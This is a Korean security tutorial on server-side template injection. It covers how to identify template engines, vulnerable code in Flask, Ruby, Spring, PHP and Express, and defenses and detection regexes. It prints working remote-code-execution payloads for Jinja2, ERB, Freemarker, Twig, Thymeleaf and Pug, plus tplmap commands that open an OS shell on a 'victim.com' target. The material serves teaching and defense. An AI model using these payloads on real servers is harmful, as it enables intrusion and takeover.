/보안 기법/SSTI — 서버 사이드 템플릿 인젝션
웹 취약점2026-05-03

SSTI — 서버 사이드 템플릿 인젝션

서버 사이드 템플릿 인젝션(SSTI, Server-Side Template Injection)은 사용자 입력이 적절한 검증 없이 서버의 템플릿 엔진에 직접 전달되어 처리될 때 발생하는 취약점입니다. 공격자는 템플릿 엔진의 표현식 구문을 주입하여 서버에서 임의의 코드를 실행할 수 있으며, 이는 RCE(원격 코드 실행)로 이어질 수 있습니다.

#SSTI#Template Injection#Jinja2#Twig#RCE#템플릿

서버 사이드 템플릿 인젝션(SSTI)

기본 원리

서버 사이드 템플릿 인젝션(SSTI, Server-Side Template Injection)은 사용자 입력이 적절한 검증 없이 서버의 템플릿 엔진에 직접 전달되어 처리될 때 발생하는 취약점입니다. 공격자는 템플릿 엔진의 표현식 구문을 주입하여 서버에서 임의의 코드를 실행할 수 있으며, 이는 RCE(원격 코드 실행)로 이어질 수 있습니다.

템플릿 엔진이란?

템플릿 엔진은 HTML 등의 정적 뼈대(템플릿)에 동적 데이터를 결합하여 최종 출력을 생성하는 소프트웨어입니다.

# 정상적인 Jinja2 템플릿 사용 (안전)
from jinja2 import Template

template = Template("안녕하세요, {{ username }}님!")
result = template.render(username="홍길동")
# 출력: 안녕하세요, 홍길동님!

# 취약한 사용 (사용자 입력을 템플릿 자체로 사용)
user_template = request.args.get('template')
result = Template(user_template).render()
# 사용자가 "{{ 7*7 }}"을 입력하면 "49"가 출력됨 → SSTI!

취약점 발생 조건

정상 흐름: 사용자 입력 → 템플릿의 변수로 전달 → 안전
취약 흐름: 사용자 입력 → 템플릿 자체가 됨 → 위험

템플릿 엔진 식별 방법

SSTI 테스트의 첫 단계는 사용 중인 템플릿 엔진 식별입니다.

식별용 페이로드 맵

입력: {{7*7}}
  → 49 출력: Twig, Jinja2 (가능성)
  → 오류: Freemarker, Velocity
  → {{7*7}} 그대로: 템플릿 엔진 없음

입력: ${7*7}
  → 49 출력: Freemarker, Velocity, Mako
  → 오류: Jinja2, Twig
  
입력: #{7*7}
  → 49 출력: Ruby ERB

입력: {{7*'7'}}
  → 49 출력: Twig
  → 7777777 출력: Jinja2

입력: ${{7*7}}
  → 49 출력: Pebble

입력: *{7*7}
  → 49 출력: Spring (Thymeleaf)

체계적인 식별 트리

사용자 입력 반영 여부 확인
    │
    ├─ {{7*7}} 테스트
    │       ├─ 49 → Jinja2 or Twig
    │       │       ├─ {{7*'7'}} 테스트
    │       │       │       ├─ 49 → Twig
    │       │       │       └─ 7777777 → Jinja2
    │       └─ 오류 → Freemarker or Velocity
    │
    ├─ ${7*7} 테스트
    │       ├─ 49 → Freemarker, Velocity, Mako, Smarty
    │       └─ 오류 → Ruby/Java 계열
    │
    └─ <%= 7*7 %> 테스트
            ├─ 49 → ERB (Ruby) or JSP EL
            └─ 오류 → 다른 엔진

언어/엔진별 공격 기법

1. Python Jinja2 (Flask, Django)

# 취약한 Flask 코드
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    # 위험! 사용자 입력을 템플릿으로 직접 렌더링
    template = f"<h1>안녕하세요, {name}님!</h1>"
    return render_template_string(template)
# 기본 탐지
GET /greet?name={{7*7}}
→ 49 출력 시 취약

# 설정 정보 노출
GET /greet?name={{config}}
→ Flask 설정 (SECRET_KEY 등) 노출 가능

# 클래스 계층 탐색
GET /greet?name={{''.__class__}}
→ <class 'str'>

GET /greet?name={{''.__class__.__mro__}}
→ (<class 'str'>, <class 'object'>)

GET /greet?name={{''.__class__.__mro__[1].__subclasses__()}}
→ 모든 로드된 클래스 목록

# 코드 실행 (subprocess.Popen 클래스 찾기)
GET /greet?name={{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Jinja2 RCE 페이로드 (Python 3)
# __subclasses__() 인덱스는 환경마다 다름

# 방법 1: subprocess.Popen 직접 접근
{{''.__class__.__mro__[1].__subclasses__()}}
# 목록에서 subprocess.Popen 위치 확인 후:
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].decode()}}

# 방법 2: __import__ 사용
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# 방법 3: request 객체 활용
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# 방법 4: cycler 내장 객체 활용
{{cycler.__init__.__globals__.os.popen('id').read()}}

# 방법 5: lipsum 필터 활용 (Jinja2)
{{lipsum.__globals__['os'].popen('id').read()}}

2. Ruby ERB

# 취약한 Ruby 코드
require 'erb'

get '/greet' do
  name = params[:name]
  # 위험! 사용자 입력을 ERB 템플릿으로 처리
  ERB.new("안녕하세요, #{name}님!").result
end
# ERB RCE 페이로드
GET /greet?name=<%= 7*7 %>
→ 49

GET /greet?name=<%= system('id') %>
→ uid=1000(www-data)...

GET /greet?name=<%= `cat /etc/passwd` %>
→ /etc/passwd 내용 출력

3. Java Freemarker

// 취약한 Spring 코드
@RequestMapping("/greet")
public String greet(@RequestParam String name, Model model) {
    model.addAttribute("template", "안녕하세요, " + name + "님!");
    return "dynamic"; // dynamic.ftl 템플릿에서 template 변수를 렌더링
}
# Freemarker 탐지
GET /greet?name=${7*7}
→ 49

# RCE 페이로드
GET /greet?name=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# 대안 페이로드
GET /greet?name=${"freemarker.template.utility.Execute"?new()("id")}

4. PHP Twig

<?php
// 취약한 PHP Twig 코드
$loader = new \Twig\Loader\ArrayLoader([]);
$twig = new \Twig\Environment($loader);

$name = $_GET['name'];
// 위험! 사용자 입력을 템플릿으로 처리
echo $twig->createTemplate("안녕하세요, $name님!")->render([]);
# Twig 탐지
GET /greet?name={{7*7}}
→ 49

GET /greet?name={{7*'7'}}
→ 49 (Twig 확정)

# Twig RCE (버전 1.x)
GET /greet?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Twig 2.x/3.x (sandbox 미적용 시)
GET /greet?name={{["id"]|map("system")|join}}

5. Java Thymeleaf (Spring Boot)

// 취약한 Spring 코드 (패스 변수가 템플릿 이름으로 사용)
@GetMapping("/path/{templateName}")
public String render(@PathVariable String templateName) {
    return templateName; // 사용자가 제어하는 템플릿 이름!
}
# Thymeleaf SSTI (Spring Expression Language)
GET /path/__$%7BT(java.lang.Runtime).getRuntime().exec('id')%7D__::.x

# URL 디코딩: __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
# Spring EL을 통해 Runtime.exec() 호출

# 파일 읽기
GET /path/__$%7Bnew+java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream()).useDelimiter("\\A").next()%7D__::.x

6. Node.js Pug (formerly Jade)

// 취약한 Express + Pug 코드
app.get('/greet', (req, res) => {
  const name = req.query.name;
  // 위험!
  res.render('greet', { locals: { username: name } });
  // 또는 더 위험한 경우:
  // pug.render(`p 안녕하세요 ${name}님`, {});
});
# Pug SSTI 페이로드
GET /greet?name=#{7*7}
→ 49

# RCE
GET /greet?name=#{function(){localLoad=global.process.mainModule.constructor._resolveFilename('child_process');child_process=require(localLoad);return child_process.execSync('id').toString()}()}

방어 방법

1. 사용자 입력을 템플릿 자체로 사용하지 않기

# 잘못된 방법 (취약)
@app.route('/greet')
def greet_bad():
    name = request.args.get('name')
    return render_template_string(f"안녕하세요, {name}님!")

# 올바른 방법 (안전) - 변수로 전달
@app.route('/greet')
def greet_good():
    name = request.args.get('name', 'Guest')
    return render_template_string("안녕하세요, {{ username }}님!", 
                                  username=name)
# name이 "{{ 7*7 }}"이어도 리터럴 문자열로 출력됨

2. Jinja2 샌드박스 환경 사용

from jinja2.sandbox import SandboxedEnvironment

# 샌드박스 환경에서는 위험한 속성 접근 차단
sandbox_env = SandboxedEnvironment()

try:
    # __class__, __mro__ 등 접근 차단
    result = sandbox_env.from_string(
        "{{ ''.__class__.__mro__ }}"
    ).render()
except Exception as e:
    print(f"샌드박스가 차단함: {e}")

# 커스텀 필터와 함수만 허용
sandbox_env.globals = {
    'allowed_func': my_safe_function
}

3. 입력 검증 및 화이트리스트

import re

def validate_template_input(user_input: str) -> str:
    """템플릿 주입 방지를 위한 입력 검증"""
    
    # 템플릿 구문 패턴 탐지
    dangerous_patterns = [
        r'\{\{.*\}\}',     # {{ ... }} Jinja2/Twig
        r'\$\{.*\}',       # ${ ... } Freemarker/EL
        r'#\{.*\}',        # #{ ... } Ruby/Pug
        r'<%.*%>',         # <% ... %> ERB/JSP
        r'<#.*>',          # <# ... > Freemarker
        r'__class__',      # Python 클래스 접근
        r'__mro__',        # Python MRO 접근
        r'__subclasses__', # Python 서브클래스 접근
        r'__globals__',    # Python 전역 접근
        r'__import__',     # Python import
    ]
    
    for pattern in dangerous_patterns:
        if re.search(pattern, user_input, re.IGNORECASE | re.DOTALL):
            raise ValueError(f"허용되지 않는 입력 패턴: {pattern}")
    
    # 최대 길이 제한
    if len(user_input) > 100:
        raise ValueError("입력이 너무 깁니다")
    
    return user_input

4. 콘텐츠 보안 정책(CSP) 및 출력 인코딩

# 출력 이스케이핑으로 XSS 방지 (SSTI가 XSS로 연결될 때)
from markupsafe import escape

@app.route('/display')
def display():
    user_input = request.args.get('data', '')
    # HTML 이스케이핑
    safe_output = escape(user_input)
    return render_template_string(f"<p>{safe_output}</p>")

5. 최소 권한으로 템플릿 엔진 실행

import os
import pwd

def drop_privileges():
    """웹 프로세스를 낮은 권한으로 실행"""
    nobody = pwd.getpwnam('nobody')
    os.setgid(nobody.pw_gid)
    os.setuid(nobody.pw_uid)

# 컨테이너 환경에서 비루트 실행
# Dockerfile
# USER nobody:nobody
# RUN chmod -R o-rwx /sensitive/

탐지 방법

수동 탐지 체크리스트

1. 사용자 입력이 반영되는 모든 파라미터 식별
   □ URL 파라미터 (?name=, ?template=)
   □ POST body 파라미터
   □ HTTP 헤더 (User-Agent, Referer, X-Custom)
   □ 쿠키 값

2. 탐지 페이로드 순차 테스트
   □ {{7*7}} → 49 확인
   □ ${7*7} → 49 확인
   □ #{7*7} → 49 확인
   □ <%= 7*7 %> → 49 확인

3. 에러 메시지 분석
   □ TemplateSyntaxError → Jinja2/Twig
   □ FreeMarkerException → Freemarker
   □ ActionView::Template::Error → ERB

자동화 탐지 도구 사용

# tplmap을 이용한 자동 SSTI 탐지
# https://github.com/epinna/tplmap

python3 tplmap.py -u "http://victim.com/greet?name=*" 

# 자동으로 다양한 템플릿 엔진 탐지 및 RCE 시도
python3 tplmap.py \
  -u "http://victim.com/greet?name=*" \
  --os-shell  # 인터랙티브 쉘

# POST 요청
python3 tplmap.py \
  -u "http://victim.com/api/render" \
  -d "template=*&format=html" \
  --engine Jinja2

Burp Suite 확장 (SSTImap)

1. Burp Suite > Extender > BApp Store
2. "Server-Side Template Injection" 또는 "SSTImap" 검색
3. 설치 후 대상 요청에서 우클릭 > SSTImap > Scan
4. 결과 탭에서 취약한 파라미터 확인

SIEM 탐지 규칙

# 로그에서 SSTI 시도 패턴 탐지
import re

ssti_patterns = [
    r'\{\{.*\}\}',          # Jinja2/Twig
    r'\$\{.*\}',            # EL/Freemarker
    r'#\{.*\}',             # Pug/Ruby
    r'<%.*%>',              # ERB/JSP
    r'__class__',           # Python class access
    r'__subclasses__',      # Python subclass enumeration
    r'T\(java\.lang',       # Spring EL
    r'freemarker\.template\.utility', # Freemarker Execute
    r'_self\.env',          # Twig
]

def detect_ssti_attempt(log_line: str) -> bool:
    for pattern in ssti_patterns:
        if re.search(pattern, log_line, re.IGNORECASE):
            return True
    return False

참고 도구 및 자원

도구/자원 종류 설명 URL
tplmap 공격/탐지 도구 자동화 SSTI 탐지 및 익스플로잇 github.com/epinna/tplmap
SSTImap Burp 확장 Burp Suite용 SSTI 스캐너 github.com/vladko312/SSTImap
HackTricks SSTI 참고 문서 엔진별 상세 페이로드 모음 book.hacktricks.xyz
PortSwigger SSTI Labs 실습 환경 단계별 SSTI 실습 환경 portswigger.net/web-security/server-side-template-injection
PayloadsAllTheThings 참고 문서 모든 엔진의 SSTI 페이로드 모음 github.com/swisskyrepo/PayloadsAllTheThings
Jinja2 공식 보안 문서 공식 문서 Jinja2 샌드박스 및 보안 사용법 jinja.palletsprojects.com

⚠️ 주의사항: SSTI는 서버에서 직접 코드가 실행되기 때문에 단순한 데이터 노출을 넘어 서버 완전 장악, 내부 네트워크 침투, 지속적인 백도어 설치 등으로 이어질 수 있는 치명적인 취약점입니다. 특히 render_template_string처럼 동적 템플릿 렌더링을 허용하는 함수는 사용 자체를 최소화하고, 불가피한 경우 반드시 사용자 입력을 변수로만 전달해야 합니다. 모든 테스트는 명시적인 허가를 받은 시스템에서만 수행해야 하며, 학습 목적이라도 실제 서비스에 대한 무단 테스트는 정보통신망법 위반으로 형사 처벌 대상이 됩니다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.